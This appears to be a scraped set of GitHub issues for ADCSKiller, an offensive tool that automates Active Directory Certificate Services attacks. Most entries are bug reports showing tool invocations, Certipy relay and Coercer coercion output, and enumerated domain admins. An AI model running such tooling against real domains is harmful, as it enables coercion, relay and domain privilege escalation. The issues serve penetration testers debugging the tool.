grimlockx / adcskiller Goto Github PK

It would be very helpful if you could tag releases. This would enable distributions to track releases instead of commits.

Thanks

Bug:

https://github.com/grimlockx/ADCSKiller/blob/main/adcskiller.py#L59

[*] Certificate authority CA01-SERVER.pentest.lab is not a domain controller
[+] Started Relaying to CA01-SERVER.pentest.lab
[*] Sleep for 5 seconds to wait for Certipy relay setup
Certipy v4.8.0 - by Oliver Lyak (ly4k)

usage: certipy relay [-h] -target hostname [-debug]
[-ca certificate authority name]
[-template template name] [-upn alternative UPN]
[-dns alternative DNS] [-sid alternative Object SID]
[-retrieve request ID] [-key-size RSA key length]
[-out output file name] [-interface ip address]
[-port PORT] [-forever] [-no-skip] [-timeout seconds]
certipy relay: error: the following arguments are required: -target
[+] Started coercion from DC01.pentest.lab to KALI
[+] Finished coercion from DC01.pentest.lab to KALI

And even though the target needs to be specified by -target for certipy, otherwise you get the error on certipy!

Originally posted by @BakaValen in #5 (comment)

I wanted to let you know that this tool is awesome! Already a fan.

I was thinking about it and I noticed that ESC8 and ESC11 are almost the same steps with the tools that are already in place. I bet it would be really easy to add ESC11 to the functionality of this tool.

Just installed on a fully updated Kali instance.
exactly as your documentation described.

The image describes my error.

What info or logs will you require to help debug please?
All the requirements were installed by your documented methods or were already there via kali repo.

EDIT: I have also done this on Parrot OS and the same error occurs.

sudo python3 adcskiller.py -u user1 -p 'pass123@' -d project.local -dc-ip 10.70.8.100 -L 192.168.131.128

[*] Trying to find vulnerable certificate templates
[+] Saved certipy output to 20231222174052_Certipy.json

[*] Trying to bind to ldap://10.70.8.100:389
[+] Bind to ldap://10.70.8.100:389 successful

[] Getting Domain SID
[+] Received Domain SID: S-1-5-21-2703137250-2132316582-3818591014
[] Getting Domain Administrators Group Common Name of project.local using objectSID: S-1-5-21-2703137250-2132316582-3818591014-512
[*] Getting Domain Administrators of project.local using Common Name: Domain Admins
[+] Found Domain Administrators: admintemp, task, prd Admin, local Admin, Administrator

[*] Getting Domaincontrollers
[+] Found domain controllers: DC-SVR1.project.local

[+] Parsing certipy output 20231222174052_Certipy.json
[-] Error reading Certipy JSON file: [Errno 2] No such file or directory: '20231222174052_Certipy.json'

┌──(kali㉿kali)-[~/Desktop/ADCSKiller]

I think dont save .

[+] Parsing certipy output XX_Certipy.json
[-] Error reading Certipy JSON file: [Errno 2] No such file or directory: 'XX_Certipy.json'

tried with python3.10 and python3.11 on kali
─# certipy -h
Certipy v4.4.0 - by Oliver Lyak (ly4k)

Coercer -h
______
/ / ___ _____________ _____
/ / / __ / _ / / / _ / /
/ // // / / / / // / / v2.4-blackhat-edition
_/_/__// _/_// by @Podalirius

usage: Coercer [-h] [-v] {scan,coerce,fuzz} ...

ex command ran
python3.11 adcskiller.py -u test-p test-d test.org -dc-ip test -L test

Bug:

https://github.com/grimlockx/ADCSKiller/blob/main/adcskiller.py#L77

Exception in thread CoercerThread:
Traceback (most recent call last):
  File "/usr/lib/python3.11/threading.py", line 1038, in _bootstrap_inner
    self.run()
  File "/opt/ADCSKiller/./adcskiller.py", line 77, in run
    subprocess.run(["Coercer", "coerce", "-u", self.username, "-p", self.password, "-d", self.domain, "-t", self.target_dc, "-l", self.lhost, "--always-continue"], capture_output=True, text=True).stdout
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/subprocess.py", line 548, in run
    with Popen(*popenargs, **kwargs) as process:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/subprocess.py", line 1026, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.11/subprocess.py", line 1950, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'Coercer'

Coercer should be coercer. Maybe a typo!